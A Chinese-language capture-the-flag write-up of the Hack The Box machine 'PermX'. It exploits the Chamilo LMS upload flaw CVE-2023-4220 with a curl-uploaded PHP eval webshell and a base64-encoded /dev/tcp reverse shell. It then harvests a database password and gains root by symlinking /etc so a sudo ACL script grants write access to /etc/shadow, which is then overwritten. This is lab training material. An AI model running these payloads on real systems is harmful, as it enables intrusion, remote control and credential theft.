0%

PermX

Chamilo LMS未经身份验证的Big Upload File远程代码执行漏洞

PermX

信息搜集

nmap扫描一下端口

1
nmap -sC -v 10.10.11.23

扫描结果如下

1
2
3
4
5
6
7
8
9
PORT   STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open http
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://permx.htb

发现80端口重定向http://permx.htb,添加域名到/etc/hosts

访问80端口,打开页面翻译发现是个学习平台

扫一下有没有子域名

1
ffuf  -u 'http://permx.htb' -H 'host: FUZZ.permx.htb' -w /home/rev1ve/shentou/dict/zi-yu-ming/subdomains-10000.txt -fc 301,302 -mc all

www子域名没什么东西,添加lms.permx.com/etc/hosts

漏洞利用

直接访问,搜索一下是学习管理系统

账号密码都没有,并且尝试admin弱密码也不行

开始是在阿里云漏洞库找并没有收获,后面去CVE官网找到可利用漏洞

这里网上找了篇利用漏洞的文章,按照文章打就行

先查看下/main/inc/lib/javascript/bigupload/inc/bigUpload.php文件是否存在

如果存在的话,就可以允许将任意文件上传到Web根目录下的/main/inc/lib/javascript/bigupload/files目录

写个马上传到文件夹

1
2
echo '<?php eval($_POST[1]);?>' > rce.php
curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

访问马的上传路径,成功命令执行

直接反弹shell到本机

1
1=system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi45LzEwMjggMD4mMQ==|base64 -d|bash");

由于是www-data的shell没什么权限,在本机开启http服务

上传linpeas.sh自动化扫描一下

1
wget http://10.10.16.9/linpeas.sh

发现存在数据库敏感信息

cat查看一下得到用户名和密码

1
2
3
4
5
6
// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';

想着连接数据库,不过一直都连不上

1
mysql -u chamilo -p -h localhost

我们查看下/home下对应用户为mtz,尝试用数据库密码登录

1
ssh mtz@10.10.11.23

登陆成功,拿到user的flag

权限提升

直接sudo -l看看有什么可以用

跟进查看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/bash

if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

首先判断是否为三个参数,分别为user用户、perm权限、target目标文件,然后$target限制在/home/mtz路径下以及防止目录穿越,最后就是目标必须是文件。其实这段bash脚本就是用于设置文件的访问控制列表 (ACL)

由于root的密码存放在/etc/shadow,虽然限制访问路径和../,但是我们可以创建个指向/etc/,然后修改root用户对应的密码即可提升至root权限

创建软链接,赋予/etc/shadow文件的rwx权限

1
2
ln -s /etc/ exp
sudo /opt/acl.sh mtz rwx /home/mtz/exp/shadow

在攻击机加密我们要修改的密码

1
openssl passwd -6  123456

最后添加到/etc/shadow里即可

1
echo 'root:$6$vJ2j3Q3CvHdwSUqC$UiU8yKLIxCwz/GEAve5F9dYGk.nxo1gscErZL3bKADldciewmeC/Txk1jUmr2KI2DJS12tS1seUTR988mw12G0:19871:0:99999:7:::' > /home/mtz/exp/shadow

su切换到root用户,得到root的flag


参考文章

CVE-2023-4220漏洞利用

靶机wp